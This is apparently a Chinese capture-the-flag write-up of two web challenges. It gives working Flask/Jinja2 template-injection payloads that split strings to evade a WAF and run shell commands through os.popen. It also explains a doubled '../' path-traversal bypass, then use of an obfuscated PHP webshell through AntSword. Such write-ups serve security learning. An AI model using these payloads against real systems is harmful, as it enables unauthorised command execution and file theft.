国内网安实在是太强辣,最后10分钟直接掉一百来名捏😠

Safe_proxy

看源码可以发现器/路由存在ssti,并且为无回显的ssti。这时有两个思路,内存马或者打回显。我这里打算打500报错回显比较方便
打内存马相对要绕的会比较多
python flask 新型回显的学习和进一步的深入

因为waf禁了__,popen sys os等我这里选择拼接绕过

1
code={{url_for["_"+"_globals_"+"_"]["_"+"_builtins_"+"_"]['setattr'](((lipsum['_'+'_spec_'+'_']|attr('_'+'_init_'+'_')|attr('_'+'_globals_'+'_'))['s'+'ys']|attr('modules'))['werkzeug']|attr('exceptions')|attr('InternalServerError'),"description",url_for['_'+'_globals_'+'_']['_'+'_buil'+'tins_'+'_']['_'+'_im'+'port_'+'_']('o'+'s')['pop'+'en']('cat /flag').read())}}
1
code={{url_for["_"+"_globals_"+"_"]["_"+"_buil"+"tins_"+"_"]['setattr'](cycler['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['_'+'_imp'+'ort_'+'_']('s'+'ys')['modules']['werkzeug']['exceptions']['InternalServerError'],'description',cycler['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['_'+'_im'+'port_'+'_']('o'+'s')['po'+'pen']('whoami')['read']())}}

也可以这么拼建议用第二种比较方便

如何多输几个{{}}使其报错

hello_web

看源码可以发现../hackme.php和../tips.php两个文件,尝试读取

直接读取会和我们说不在这里,经过尝试不管输入多少../起都是回显不在这里,且不触发其13字符的长度限制,猜测../是被删除的

经过尝试其可以双写绕过
…/./hackme.php

可以发现其为一个混淆过的代码

可以用echo一层一层输出
可以发现其是一个php的马,密码为cmd66.99
因为点不能传所有将
改为[使后面的.不会被自动转为_。
所有我们蚁剑的连接密码为cmd[66.99

用插件直接绕过

全局搜索flag可以找到flag文件